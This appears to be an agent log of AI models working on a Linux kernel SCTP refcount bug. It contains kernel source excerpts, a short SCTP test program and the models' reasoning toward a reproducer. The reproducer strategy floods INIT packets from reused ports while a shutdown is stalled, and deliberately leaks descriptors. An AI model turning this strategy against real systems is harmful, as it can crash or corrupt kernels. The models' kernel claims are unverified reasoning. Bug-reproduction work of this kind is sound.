  58:			ret = connect(sd, (struct sockaddr *)&daddr, len);
  59:			if (ret < 0) {
  60:				printf("Failed to connect to peer\n");
  61:				goto out;
  62:			}
  63:			ret = recvfrom(sd, buf, sizeof(buf), 0, (struct sockaddr *)&daddr, &len);
  64:			if (ret < 0) {
  65:				printf("Failed to recv msg %d\n", ret);
  66:				goto out;
  67:			}
  68:			ret = sendto(sd, buf, strlen(buf) + 1, 0, (struct sockaddr *)&daddr, len);
  69:			if (ret < 0) {
  70:				printf("Failed to send msg %d\n", ret);
  71:				goto out;
  72:			}
  73:			printf("Server: sent! %d\n", ret);
  74:		}
  75:	
  76:		if (!strcmp(argv[1], "client")) {
  77:			usleep(300000); /* wait a bit for server's listening */
  78:			ret = connect(sd, (struct sockaddr *)&daddr, len);
  79:			if (ret < 0) {
  80:				printf("Failed to connect to peer\n");
  81:				goto out;
  82:			}
  83:			sleep(1); /* wait a bit for server's delayed INIT_ACK to reproduce the issue */
  84:			ret = sendto(sd, buf, strlen(buf) + 1, 0, (struct sockaddr *)&daddr, len);
  85:			if (ret < 0) {
  86:				printf("Failed to send msg %d\n", ret);
  87:				goto out;
  88:			}
  89:			ret = recvfrom(sd, buf, sizeof(buf), 0, (struct sockaddr *)&daddr, &len);
  90:			if (ret < 0) {
  91:				printf("Failed to recv msg %d\n", ret);
  92:				goto out;
  93:			}
  94:			printf("Client: rcvd! %d\n", ret);
  95:		}
  96:		ret = 0;
  97:	out:
  98:		close(sd);
  99:		return ret;
 100:	}
]

gemini-3.7-flash

							input: 21718
							output: 28
							thoughts: 1212
						

**My Thought Process on the SCTP Refcount Bug Reproducer Prompt**

I'm reviewing the user's request, and the first thing that jumps out at me is the specific phrasing: "Does the *provided C reproducer in the prompt* correctly implement the strategy to trigger the SCTP refcount bug?" My immediate thought is: *Wait, where is it?* I've scanned the entire prompt, and there's no C code snippet, no file attachment, nothing that could be construed as a "provided C reproducer."

This leads me down two paths:
1.  **Is this a mistake on the user's part?** Did they intend to include the code but forget? Or is there some implicit context I'm missing that would *provide* the reproducer?
2.  **Is this a test of my ability to identify missing information?** Perhaps the prompt is designed to see if I'll hallucinate a reproducer or if I'll correctly identify that it's absent.

Given that the prompt is *just* that single sentence, and there are no other instructions or attached files, I have to conclude that no C reproducer was actually provided.

So, my primary task is to state this clearly: I cannot evaluate the correctness, missing includes, or issues of a C reproducer because none was provided.

However, I recognize that the user is an expert, and they likely *have* a specific SCTP refcount bug in mind. Therefore, simply saying "you didn't provide code" might be unhelpful. I need to go a step further and demonstrate my understanding of the domain, anticipating what they *would* need if they *had* provided the code.

This means I should:

1.  **Clearly state the absence of the reproducer.** This is the most critical part of directly answering their implicit question about the *provided* code.
2.  **Acknowledge the subject matter:** The prompt is about an "SCTP refcount bug." My internal knowledge base kicks in. I need to think about *what kind* of SCTP refcount bugs are common or noteworthy in the Linux kernel. I'd mentally (or through a quick internal search) list potential areas:
    *   Socket/association refcounts
    *   Transport refcounts (often linked to UAFs)
    *   Stream refcounts
    *   Specific functions like `sctp_do_peeloff`, `sctp_auth_shkey`, or handling of ICMP errors that might interact with refcounts.
    *   Potential race conditions, especially involving timers or asynchronous operations.
    *   Memory allocation tracking like `sk_wmem_alloc`.
3.  **Discuss the typical requirements for an SCTP reproducer:** What headers are *essential* for any user-space SCTP program in Linux? This shows I understand the practical aspects of writing such code. I'd list standard headers like:
    *   `<sys/socket.h>`
    *   `<sys/types.h>`
    *   `<netinet/in.h>`
    *   `<netinet/sctp.h>` (This is crucial for SCTP-specific options and types)
    *   `<arpa/inet.h>`
    *   `<unistd.h>`
    *   And potentially multithreading headers like `<pthread.h>` if the bug is race-condition related.
    *   I should also mention the need to link with `-lsctp` if using the `libsctp` API functions.
4.  **Outline what information would be *needed* for a proper analysis:** If they *were* to provide the code, what else would I need?
    *   The specific SCTP refcount bug or CVE they are trying to trigger. This narrows down the search space dramatically.
    *   The context of the bug (e.g., is it a kernel-level bug, or a userspace interaction with the kernel?).
    *   The target environment (kernel version, OS).
5.  **Mention common pitfalls:** What are typical mistakes people make when writing SCTP reproducers that could lead to issues, even if the underlying bug is present? This demonstrates a deeper understanding of the practical challenges:
    *   Incorrect socket options (e.g., forgetting `SCTP_EVENTS`).
    *   Not correctly handling asynchronous association establishment.
    *   Missing `IPPROTO_SCTP` in socket calls.
    *   Race conditions that are hard to time correctly.
    *   Environmental dependencies (e.g., network setup, routing).

By combining the direct observation (no code provided) with domain expertise (SCTP bugs, C development for networking) and a proactive stance (listing what's needed for analysis), I believe I'm providing a "fulsome summary of the thought process" as requested, tailored to an expert user. I'm not just giving a superficial answer; I'm detailing *how* I arrived at my conclusion and what further steps would be necessary.

map[Expression:IPPROTO_SCTP PathPrefix:tools/]

map[Output:tools/include/uapi/linux/in.h=29=enum {
--
tools/include/uapi/linux/in.h-73-#define IPPROTO_L2TP		IPPROTO_L2TP
tools/include/uapi/linux/in.h:74:  IPPROTO_SCTP = 132,		/* Stream Control Transport Protocol	*/
tools/include/uapi/linux/in.h:75:#define IPPROTO_SCTP		IPPROTO_SCTP
tools/include/uapi/linux/in.h-76-  IPPROTO_UDPLITE = 136,	/* UDP-Lite (RFC 3828)			*/
--
tools/testing/selftests/net/ip_local_port_range.c=147=FIXTURE_VARIANT_ADD(ip_local_port_range, ip4_stcp) {
--
tools/testing/selftests/net/ip_local_port_range.c-149-	.so_type	= SOCK_STREAM,
tools/testing/selftests/net/ip_local_port_range.c:150:	.so_protocol	= IPPROTO_SCTP,
tools/testing/selftests/net/ip_local_port_range.c-151-};
--
tools/testing/selftests/net/ip_local_port_range.c=171=FIXTURE_VARIANT_ADD(ip_local_port_range, ip6_stcp) {
--
tools/testing/selftests/net/ip_local_port_range.c-173-	.so_type	= SOCK_STREAM,
tools/testing/selftests/net/ip_local_port_range.c:174:	.so_protocol	= IPPROTO_SCTP,
tools/testing/selftests/net/ip_local_port_range.c-175-};
--
tools/testing/selftests/net/netfilter/sctp_collision.c=9=int main(int argc, char *argv[])
--
tools/testing/selftests/net/netfilter/sctp_collision.c-22-
tools/testing/selftests/net/netfilter/sctp_collision.c:23:	sd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
tools/testing/selftests/net/netfilter/sctp_collision.c-24-	if (sd < 0) {
--
tools/testing/selftests/net/sctp_hello.c=29=static int do_client(int argc, char *argv[])
--
tools/testing/selftests/net/sctp_hello.c-40-	ss.ss_family = !strcmp(argv[2], "-4") ? AF_INET : AF_INET6;
tools/testing/selftests/net/sctp_hello.c:41:	csk = socket(ss.ss_family, SOCK_STREAM, IPPROTO_SCTP);
tools/testing/selftests/net/sctp_hello.c-42-	if (csk < 0) {
--
tools/testing/selftests/net/sctp_hello.c=67=int main(int argc, char *argv[])
--
tools/testing/selftests/net/sctp_hello.c-85-	ss.ss_family = !strcmp(argv[2], "-4") ? AF_INET : AF_INET6;
tools/testing/selftests/net/sctp_hello.c:86:	lsk = socket(ss.ss_family, SOCK_STREAM, IPPROTO_SCTP);
tools/testing/selftests/net/sctp_hello.c-87-	if (lsk < 0) {
]

gemini-3.7-flash

							input: 23898
							output: 570
							thoughts: 326
						

**My Thought Process Regarding the Missing SCTP Reproducer**

It's become abundantly clear to me that no C code serving as a reproducer for the SCTP issue has been provided in the prompt. My immediate next step is to formulate a comprehensive, informative, and logically organized response. This response will address several key areas:

Firstly, I need to explicitly state the absence of the C reproducer in the prompt. This sets the stage for the subsequent explanations.

Secondly, I will detail what constitutes a typical and effective SCTP reproducer. This will involve outlining the essential components: the necessary libraries that need to be included, the socket setup procedures, and the mechanisms required to reliably trigger the behavior in question. My goal here is to guide the user on what a complete reproducer should look like.

Thirdly, I will delve into common pitfalls and missing elements that frequently appear in SCTP reproducers. I'll break this down into specific categories:
*   **Header Files:** I'll list the essential header files that are almost always required for SCTP programming, such as `<sys/socket.h>`, `<netinet/in.h>`, `<netinet/sctp.h>`, `<arpa/inet.h>`, `<unistd.h>`, `<pthread.h>`, and `<errno.h>`.
*   **Linking:** I'll emphasize the necessity of linking with `-lsctp` when utilizing specific `libsctp` functions like `sctp_sendmsg`, `sctp_recvmsg`, `sctp_connectx`, or `sctp_peeloff`. I'll also mention the need for proper linking when using raw socket operations with `SOL_SCTP` or `IPPROTO_SCTP` level options.
*   **Protocol Types:** I will touch upon the distinction and potential confusion between `SOCK_SEQPACKET` and `SOCK_STREAM` socket types in the context of SCTP.
*   **Kernel Module Loading:** I'll highlight the common oversight of not ensuring the SCTP kernel module is loaded, which can be done using `modprobe sctp`.
*   **Concurrency and Race Conditions:** This is a critical area. I will discuss the importance of proper synchronization mechanisms, the use of barriers or `pthread_join` for managing threads, and the subtleties of timing, potentially involving `usleep()` or direct packet injection, to reliably reproduce race conditions.

Finally, to ensure I can provide the most targeted and valuable assistance, I will conclude by inviting the user to share their reproducer code. Alternatively, I will ask for the specific bug report, CVE, or stack trace they are working with, so I can conduct a detailed review and offer more precise guidance.

With these points in mind, I'm ready to prepare the response and then execute the `set-results` tool.

map[Answer:No C reproducer code was provided in the prompt. To evaluate whether the reproducer correctly triggers a specific SCTP refcount bug or identify missing includes/issues, please provide the C code snippet or test program.

Below is guidance on common requirements and pitfalls for SCTP C reproducers:

### 1. Essential Header Files & Includes
Standard userspace SCTP reproducers typically require:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>       /* If testing race conditions */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>   /* SCTP definitions, options, structs */
#include <arpa/inet.h>
```
*Note*: If `<netinet/sctp.h>` is used alongside `libsctp` utility calls (`sctp_sendmsg`, `sctp_recvmsg`, `sctp_peeloff`, `sctp_connectx`), compile with `-lsctp`. Alternatively, raw `sendmsg()`, `recvmsg()`, and `setsockopt(..., IPPROTO_SCTP, ...)` can be used with Linux UAPI headers (`<linux/sctp.h>`).

### 2. Common Issues in SCTP Bug Reproducers
- **Socket Type**: SCTP supports one-to-one (`SOCK_STREAM`) and one-to-many (`SOCK_SEQPACKET`). Many refcount bugs (e.g. peeloff, association migration, duplicate cookies) specifically target `SOCK_SEQPACKET`.
- **Module Availability**: Ensure `sctp` is loaded (`modprobe sctp`) or the reproducer sets up network namespaces if manipulating sysctls (e.g., `net.sctp.association_max_retrans`).
- **Timing & Races**: Refcount bugs often stem from asynchronous teardown, duplicate chunk reception, or concurrent socket close/peeloff operations. Relying solely on `sleep()` without synchronization may cause intermittent failures.
- **Error Handling & Return Values**: Missing checks on `socket()`, `bind()`, `listen()`, `connect()`, or `sendmsg()` can cause silent failures before the target kernel code path is reached.

Please share the reproducer code and the specific target bug/scenario for a comprehensive analysis.]

map[Answer:No C reproducer code was provided in the prompt. To evaluate whether the reproducer correctly triggers a specific SCTP refcount bug or identify missing includes/issues, please provide the C code snippet or test program.

Below is guidance on common requirements and pitfalls for SCTP C reproducers:

### 1. Essential Header Files & Includes
Standard userspace SCTP reproducers typically require:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>       /* If testing race conditions */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>   /* SCTP definitions, options, structs */
#include <arpa/inet.h>
```
*Note*: If `<netinet/sctp.h>` is used alongside `libsctp` utility calls (`sctp_sendmsg`, `sctp_recvmsg`, `sctp_peeloff`, `sctp_connectx`), compile with `-lsctp`. Alternatively, raw `sendmsg()`, `recvmsg()`, and `setsockopt(..., IPPROTO_SCTP, ...)` can be used with Linux UAPI headers (`<linux/sctp.h>`).

### 2. Common Issues in SCTP Bug Reproducers
- **Socket Type**: SCTP supports one-to-one (`SOCK_STREAM`) and one-to-many (`SOCK_SEQPACKET`). Many refcount bugs (e.g. peeloff, association migration, duplicate cookies) specifically target `SOCK_SEQPACKET`.
- **Module Availability**: Ensure `sctp` is loaded (`modprobe sctp`) or the reproducer sets up network namespaces if manipulating sysctls (e.g., `net.sctp.association_max_retrans`).
- **Timing & Races**: Refcount bugs often stem from asynchronous teardown, duplicate chunk reception, or concurrent socket close/peeloff operations. Relying solely on `sleep()` without synchronization may cause intermittent failures.
- **Error Handling & Return Values**: Missing checks on `socket()`, `bind()`, `listen()`, `connect()`, or `sendmsg()` can cause silent failures before the target kernel code path is reached.

Please share the reproducer code and the specific target bug/scenario for a comprehensive analysis.]

gemini-3.1-pro-preview

							input: 19759
							output: 39
							thoughts: 1262
						

**My Thought Process on Reproducing a Specific SCTP Behavior**

I'm aiming to build a reproducer for a particular SCTP behavior, and I've laid out a strategy to achieve this. It starts with setting up a server using a `SOCK_STREAM` socket. To ensure the `T2_SHUTDOWN` event fires quickly, I need to configure a small Retransmission Timeout (RTO) of 10ms. Crucially, I'll set the receive buffer size (`SO_RCVBUF`) to 0. After binding and listening, I'll establish a client `SOCK_STREAM` connection to this server. Once the connection is accepted on the server side, I'll make the *client* socket non-blocking. The next step is to flood the server's receive window by sending a large buffer (1MB) from the client, followed by a brief pause of 100ms. Then, I'll initiate a graceful shutdown of the *accepted* server socket by calling `shutdown(accepted_fd, SHUT_WR)`.

The core of the reproducer involves the next phase: I need to bombard the server with `INIT` packets from the same client IP and port. To do this, I'll create threads. Each thread will:

1.  Create a `SOCK_SEQPACKET` socket.
2.  Enable `SO_REUSEPORT` on this new socket.
3.  Bind it to the *same* client IP and port as the initial `SOCK_STREAM` client socket.
4.  Set this new socket to non-blocking.
5.  Use `sendto()` to send an `INIT` to the server.
6.  Pause for 1000 microseconds (`usleep(1000)`).

Now, as I'm thinking about the implementation, a critical detail emerges. If the initial client socket is `SOCK_STREAM`, and I'm creating new `SOCK_SEQPACKET` sockets that are bound to the *same* IP:port combination, I realize that the original `SOCK_STREAM` client socket will *also* need `SO_REUSEPORT` enabled. Otherwise, the new sockets won't be able to bind to that already-in-use port. The provided code snippets correctly reflect this by setting `SO_REUSEPORT` on both the initial client socket and the new sockets created in the threads.

This leads me to a significant question: how does SCTP, especially with `SO_REUSEPORT`, handle multiple socket types (`SOCK_STREAM` and `SOCK_SEQPACKET`) bound to the same IP and port? Specifically, will SCTP even *allow* binding a `SOCK_SEQPACKET` and a `SOCK_STREAM` socket to the same port using `SO_REUSEPORT`? My understanding is that SCTP *does* support `SO_REUSEPORT`.

However, there's a deeper implication. When I send an `INIT` from a *new* `SOCK_SEQPACKET` socket, the server will respond with an `INIT_ACK`. This `INIT_ACK` will be received by the new `SOCK_SEQPACKET` socket, which will then proceed with the handshake by sending a `COOKIE_ECHO`. Because it's a `SOCK_SEQPACKET`, I expect it to handle the handshake process automatically.

But what if the `INIT_ACK` doesn't go to the new `SOCK_SEQPACKET` socket? What if it's routed to the original `SOCK_STREAM` socket? This could happen if, for some reason, the kernel's `SO_REUSEPORT` load balancing mechanism decides to send the `INIT_ACK` to the `SOCK_STREAM` socket. If the `SOCK_STREAM` socket receives an `INIT_ACK` when it's not expecting one (perhaps it's already established or in a different state), it might simply drop it. This would mean the new `SOCK_SEQPACKET` sockets would never receive their `INIT_ACK`, and therefore, would never be able to send their `COOKIE_ECHO`, effectively breaking the handshake for those new sockets.

My current hypothesis is that the kernel's load balancing for `SO_REUSEPORT` relies on the 4-tuple (server IP, server port, client IP, client port). Since all my client sockets (both the initial `SOCK_STREAM` and the new `SOCK_SEQPACKET` sockets) are bound to and sending to the *exact same* server IP and port, and are originating from the *exact same* client IP and port, their 4-tuples are *identical*. This means that all incoming packets from the server, including the `INIT_ACK`s, would hash to the *same* socket. Which socket? It's likely the one that was established first or based on some internal hashing. If this hashing mechanism directs the `INIT_ACK` to the original `SOCK_STREAM` socket, the new `SOCK_SEQPACKET` sockets will be starved of their `INIT_ACK`s.

This leads me to a critical point of investigation: when the server sends an `INIT_ACK`, it contains a verification tag (vtag) derived from the client's initial `INIT`. The kernel routes incoming SCTP packets using this vtag, not solely the 4-tuple. I need to delve into the `sctp_rcv` function in `net/sctp/input.c` to understand precisely how SCTP associates incoming packets with existing connections or sockets, especially in the context of `SO_REUSEPORT` and multiple socket types. My suspicion is that if the `INIT_ACK`'s vtag doesn't match an existing association on the `SOCK_STREAM` socket, it might then be considered for distribution to other sockets bound to the same address, possibly via the `SO_REUSEPORT` mechanism.

Therefore, I need to test this specific scenario: will creating a `SOCK_STREAM` client, connecting, and then immediately creating a `SOCK_SEQPACKET` socket bound to the same port and sending an `INIT` result in the `INIT_ACK` being correctly routed to the `SOCK_SEQPACKET` socket, or will it be mishandled by the pre-existing `SOCK_STREAM` socket? I need to verify if the `sendto` on the `SOCK_SEQPACKET` actually *creates* an association that the kernel can correctly route to, even though the 4-tuple is already in play with the `SOCK_STREAM` socket. This will be the key to understanding if my reproducer strategy is sound.

map[ContextFile:net/sctp/input.c Name:sctp_rcv]

map[SourceCode:  85:	/*
  86:	 * This is the routine which IP calls when receiving an SCTP packet.
  87:	 */
  88:	int sctp_rcv(struct sk_buff *skb)
  89:	{
  90:		struct sock *sk;
  91:		struct sctp_association *asoc;
  92:		struct sctp_endpoint *ep = NULL;
  93:		struct sctp_ep_common *rcvr;
  94:		struct sctp_transport *transport = NULL;
  95:		struct sctp_chunk *chunk;
  96:		union sctp_addr src;
  97:		union sctp_addr dest;
  98:		int family;
  99:		struct sctp_af *af;
 100:		struct net *net = dev_net(skb->dev);
 101:		bool is_gso = skb_is_gso(skb) && skb_is_gso_sctp(skb);
 102:		int dif, sdif;
 103:	
 104:		if (skb->pkt_type != PACKET_HOST)
 105:			goto discard_it;
 106:	
 107:		__SCTP_INC_STATS(net, SCTP_MIB_INSCTPPACKS);
 108:	
 109:		/* If packet is too small to contain a single chunk, let's not
 110:		 * waste time on it anymore.
 111:		 */
 112:		if (skb->len < sizeof(struct sctphdr) + sizeof(struct sctp_chunkhdr) +
 113:			       skb_transport_offset(skb))
 114:			goto discard_it;
 115:	
 116:		/* If the packet is fragmented and we need to do crc checking,
 117:		 * it's better to just linearize it otherwise crc computing
 118:		 * takes longer.
 119:		 */
 120:		if (((!is_gso || skb_cloned(skb)) && skb_linearize(skb)) ||
 121:		    !pskb_may_pull(skb, sizeof(struct sctphdr)))
 122:			goto discard_it;
 123:	
 124:		/* Pull up the IP header. */
 125:		__skb_pull(skb, skb_transport_offset(skb));
 126:	
 127:		skb->csum_valid = 0; /* Previous value not applicable */
 128:		if (skb_csum_unnecessary(skb))
 129:			__skb_decr_checksum_unnecessary(skb);
 130:		else if (!sctp_checksum_disable &&
 131:			 !is_gso &&
 132:			 sctp_rcv_checksum(net, skb) < 0)
 133:			goto discard_it;
 134:		skb->csum_valid = 1;
 135:	
 136:		__skb_pull(skb, sizeof(struct sctphdr));
 137:	
 138:		family = ipver2af(ip_hdr(skb)->version);
 139:		af = sctp_get_af_specific(family);
 140:		if (unlikely(!af))
 141:			goto discard_it;
 142:		SCTP_INPUT_CB(skb)->af = af;
 143:	
 144:		/* Initialize local addresses for lookups. */
 145:		af->from_skb(&src, skb, 1);
 146:		af->from_skb(&dest, skb, 0);
 147:		dif = af->skb_iif(skb);
 148:		sdif = af->skb_sdif(skb);
 149:	
 150:		/* If the packet is to or from a non-unicast address,
 151:		 * silently discard the packet.
 152:		 *
 153:		 * This is not clearly defined in the RFC except in section
 154:		 * 8.4 - OOTB handling.  However, based on the book "Stream Control
 155:		 * Transmission Protocol" 2.1, "It is important to note that the
 156:		 * IP address of an SCTP transport address must be a routable
 157:		 * unicast address.  In other words, IP multicast addresses and
 158:		 * IP broadcast addresses cannot be used in an SCTP transport
 159:		 * address."
 160:		 */
 161:		if (!af->addr_valid(&src, NULL, skb) ||
 162:		    !af->addr_valid(&dest, NULL, skb))
 163:			goto discard_it;
 164:	
 165:		asoc = __sctp_rcv_lookup(net, skb, &src, &dest, &transport, dif, sdif);
 166:	
 167:		if (!asoc)
 168:			ep = __sctp_rcv_lookup_endpoint(net, skb, &dest, &src, dif, sdif);
 169:	
 170:		/* Retrieve the common input handling substructure. */
 171:		rcvr = asoc ? &asoc->base : &ep->base;
 172:		sk = rcvr->sk;
 173:	
 174:		/*
 175:		 * RFC 2960, 8.4 - Handle "Out of the blue" Packets.
 176:		 * An SCTP packet is called an "out of the blue" (OOTB)
 177:		 * packet if it is correctly formed, i.e., passed the
 178:		 * receiver's checksum check, but the receiver is not
 179:		 * able to identify the association to which this
 180:		 * packet belongs.
 181:		 */
 182:		if (!asoc) {
 183:			if (sctp_rcv_ootb(skb)) {
 184:				__SCTP_INC_STATS(net, SCTP_MIB_OUTOFBLUES);
 185:				goto discard_release;
 186:			}
 187:		}
 188:	
 189:		if (!xfrm_policy_check(sk, XFRM_POLICY_IN, skb, family))
 190:			goto discard_release;
 191:		nf_reset_ct(skb);
 192:	
 193:		if (sk_filter(sk, skb) || skb->len < sizeof(struct sctp_chunkhdr))
 194:			goto discard_release;
 195:	
 196:		/* Create an SCTP packet structure. */
 197:		chunk = sctp_chunkify(skb, asoc, sk, GFP_ATOMIC);
 198:		if (!chunk)
 199:			goto discard_release;
 200:		SCTP_INPUT_CB(skb)->chunk = chunk;
 201:	
 202:		/* Remember what endpoint is to handle this packet. */
 203:		chunk->rcvr = rcvr;
 204:	
 205:		/* Remember the SCTP header. */
 206:		chunk->sctp_hdr = sctp_hdr(skb);
 207:	
 208:		/* Set the source and destination addresses of the incoming chunk.  */
 209:		sctp_init_addrs(chunk, &src, &dest);
 210:	
 211:		/* Remember where we came from.  */
 212:		chunk->transport = transport;
 213:	
 214:		/* Acquire access to the sock lock. Note: We are safe from other
 215:		 * bottom halves on this lock, but a user may be in the lock too,
 216:		 * so check if it is busy.
 217:		 */
 218:		bh_lock_sock(sk);
 219:	
 220:		if (sk != rcvr->sk) {
 221:			/* Our cached sk is different from the rcvr->sk.  This is
 222:			 * because migrate()/accept() may have moved the association
 223:			 * to a new socket and released all the sockets.  So now we
 224:			 * are holding a lock on the old socket while the user may
 225:			 * be doing something with the new socket.  Switch our veiw
 226:			 * of the current sk.
 227:			 */
 228:			bh_unlock_sock(sk);
 229:			sk = rcvr->sk;
 230:			bh_lock_sock(sk);
 231:		}
 232:	
 233:		if (sock_owned_by_user(sk) || !sctp_newsk_ready(sk)) {
 234:			if (sctp_add_backlog(sk, skb)) {
 235:				bh_unlock_sock(sk);
 236:				sctp_chunk_free(chunk);
 237:				skb = NULL; /* sctp_chunk_free already freed the skb */
 238:				goto discard_release;
 239:			}
 240:			__SCTP_INC_STATS(net, SCTP_MIB_IN_PKT_BACKLOG);
 241:		} else {
 242:			__SCTP_INC_STATS(net, SCTP_MIB_IN_PKT_SOFTIRQ);
 243:			sctp_inq_push(&chunk->rcvr->inqueue, chunk);
 244:		}
 245:	
 246:		bh_unlock_sock(sk);
 247:	
 248:		/* Release the asoc/ep ref we took in the lookup calls. */
 249:		if (transport)
 250:			sctp_transport_put(transport);
 251:		else
 252:			sctp_endpoint_put(ep);
 253:	
 254:		return 0;
 255:	
 256:	discard_it:
 257:		__SCTP_INC_STATS(net, SCTP_MIB_IN_PKT_DISCARDS);
 258:		kfree_skb(skb);
 259:		return 0;
 260:	
 261:	discard_release:
 262:		/* Release the asoc/ep ref we took in the lookup calls. */
 263:		if (transport)
 264:			sctp_transport_put(transport);
 265:		else
 266:			sctp_endpoint_put(ep);
 267:	
 268:		goto discard_it;
 269:	}
 SourceFile:net/sctp/input.c]

gemini-3.1-pro-preview

							input: 24041
							output: 38
							thoughts: 3443
						

**My Thought Process on the SCTP Vulnerability**

Okay, let me walk through how I arrived at this strategy and why I'm confident it will work to trigger the SCTP vulnerability. My focus is on understanding the SCTP state machine and how `SOCK_SEQPACKET` interacts with it, especially under race conditions.

The core of my reasoning revolves around the `__sctp_rcv_lookup` function and how it identifies SCTP associations. I know it primarily uses the vtag in the SCTP header for this lookup. If the vtag matches an existing association, the packet is routed accordingly.

Now, here's where the nuance with `SOCK_SEQPACKET` comes into play. When I use `sendto` on a `SOCK_SEQPACKET` socket, it initiates a new SCTP association. Crucially, this association enters the `COOKIE_WAIT` state, and the socket sends an `INIT` chunk. The vtag within this `INIT` chunk is the "initiate tag" generated by this new, pending association.

On the server side, upon receiving the `INIT`, it doesn't immediately establish a full association. Instead, it generates a cookie and sends back an `INIT_ACK`. This `INIT_ACK` is sent to the client's IP and port, and importantly, its vtag is set to the initiate tag it received in the `INIT` from the client.

This is the critical juncture. When the client receives this `INIT_ACK`, my `__sctp_rcv_lookup` function will be invoked. Because the `SOCK_SEQPACKET` socket created an association (even in the `COOKIE_WAIT` state) when it sent the `INIT`, it *already possesses* that specific vtag. Therefore, the `INIT_ACK` with its matching vtag will be correctly routed to this new, pending `SOCK_SEQPACKET` association.

Following this, the `SOCK_SEQPACKET` socket will process the `INIT_ACK`, acknowledge the cookie, and then send a `COOKIE_ECHO` chunk. This `COOKIE_ECHO` will contain the cookie provided by the server.

Now, the server receives the `COOKIE_ECHO`. The vtag in this chunk will be the server's initiate tag. The server will then perform its association lookup. It's here that I realized my initial thought about the `COOKIE_ECHO` lookup being purely by vtag was slightly off. The `COOKIE_ECHO` actually uses the server's initiate tag, but the server finds the *original* association because the tie-tags within the cookie itself match the original established association, alongside the 4-tuple (IPs and ports). Once found, it processes the `COOKIE_ECHO` and triggers "Action A," which is the goal.

This entire sequence confirms that my strategy is sound: the `INIT_ACK` *will* be routed to the new `SOCK_SEQPACKET` socket, allowing it to send the `COOKIE_ECHO` and complete the association handshake with the existing connection.

Now, regarding the reproducer code:

The idea of the client threads leaking file descriptors (`fd`) is intentional. When `sendto` on `SOCK_SEQPACKET` is called, it creates an association in the `COOKIE_WAIT` state and sends an `INIT`. For this new association to send its `COOKIE_ECHO` in response to the `INIT_ACK`, the file descriptor needs to remain open. If we were to close the `fd` immediately after `sendto`, it would likely send an `ABORT` chunk. An `ABORT` chunk would use the vtag of the *new* association. This `ABORT` wouldn't destroy the *original* established association because the vtags wouldn't match. However, it could prematurely terminate the *new* association before it has a chance to send the `COOKIE_ECHO`. So, leaking the `fd` is necessary to ensure the `COOKIE_ECHO` is sent.

To manage the file descriptor limit, I've increased it using `setrlimit` to 65536. A small `usleep(1000)` (1ms) in the client thread is added. This limits the rate at which FDs are created. Over 5 seconds, with 4 threads, we're looking at roughly 20,000 FDs, well within the limit. This prevents the `socket()` call from failing too quickly due to running out of FDs.

I also meticulously checked the `SCTP_RTOINFO` struct and its presence in the header, confirming it's correct.

The `SO_RCVBUF` set to 0 is intended to advertise a very small receive window to the client. While Linux might enforce a minimum buffer size, a value of 0, combined with the 1MB data send, should effectively fill the server's receive queue. The server intentionally *doesn't* call `recv()`, ensuring this buffer remains full.

When the server calls `shutdown(accepted_fd, SHUT_WR)`, it initiates the SCTP shutdown process by sending a `SHUTDOWN` chunk. The client, upon receiving this, is supposed to enter `SHUTDOWN-RECEIVED` and wait for all its outstanding data to be acknowledged. Because the server's receive buffer is full (due to not reading the data), it cannot acknowledge the client's data. This means the client *won't* send a `SHUTDOWN_ACK`, and it will remain in `SHUTDOWN-RECEIVED`. Meanwhile, the server's `T2_SHUTDOWN` timer will repeatedly retransmit its `SHUTDOWN` chunk, as it believes its own shutdown hasn't been acknowledged. This state is crucial for the race condition.

Finally, I added a check for `send()` return values to ensure it's not failing for unexpected reasons other than `EAGAIN` or `EWOULDBLOCK`.

My conclusion is that this setup precisely crafts the conditions needed for the race: a server stuck in a shutdown handshake with a full receive buffer, and multiple client threads rapidly creating new associations that will correctly receive the `INIT_ACK` and proceed to trigger "Action A" on the server due to the `COOKIE_ECHO`.

map[ContextFile:net/sctp/socket.c Name:sctp_shutdown]

map[SourceCode:5192:	/* API 4.1.7 shutdown() - TCP Style Syntax
5193:	 *     int shutdown(int socket, int how);
5194:	 *
5195:	 *     sd      - the socket descriptor of the association to be closed.
5196:	 *     how     - Specifies the type of shutdown.  The  values  are
5197:	 *               as follows:
5198:	 *               SHUT_RD
5199:	 *                     Disables further receive operations. No SCTP
5200:	 *                     protocol action is taken.
5201:	 *               SHUT_WR
5202:	 *                     Disables further send operations, and initiates
5203:	 *                     the SCTP shutdown sequence.
5204:	 *               SHUT_RDWR
5205:	 *                     Disables further send  and  receive  operations
5206:	 *                     and initiates the SCTP shutdown sequence.
5207:	 */
5208:	static void sctp_shutdown(struct sock *sk, int how)
5209:	{
5210:		struct net *net = sock_net(sk);
5211:		struct sctp_endpoint *ep;
5212:	
5213:		if (!sctp_style(sk, TCP))
5214:			return;
5215:	
5216:		ep = sctp_sk(sk)->ep;
5217:		if (how & SEND_SHUTDOWN && !list_empty(&ep->asocs)) {
5218:			struct sctp_association *asoc;
5219:	
5220:			inet_sk_set_state(sk, SCTP_SS_CLOSING);
5221:			asoc = list_entry(ep->asocs.next,
5222:					  struct sctp_association, asocs);
5223:			sctp_primitive_SHUTDOWN(net, asoc, NULL);
5224:		}
5225:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 28069
							output: 53
							thoughts: 65
						

**My Thought Process Regarding SHUTDOWN Behavior**

Ah, it seems my initial hypothesis holds true. When a `shutdown(SHUT_WR)` operation is invoked, the system indeed proceeds to call `sctp_primitive_SHUTDOWN`. This, in turn, initiates a more granular process, specifically `sctp_sf_do_9_2_prm_shutdown`. My next step, naturally, is to delve into the intricacies of `sctp_sf_do_9_2_prm_shutdown` itself to fully grasp the implications of this shutdown sequence.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_9_2_prm_shutdown]

map[SourceCode:5146:	/*
5147:	 * Process the SHUTDOWN primitive.
5148:	 *
5149:	 * Section: 10.1:
5150:	 * C) Shutdown
5151:	 *
5152:	 * Format: SHUTDOWN(association id)
5153:	 * -> result
5154:	 *
5155:	 * Gracefully closes an association. Any locally queued user data
5156:	 * will be delivered to the peer. The association will be terminated only
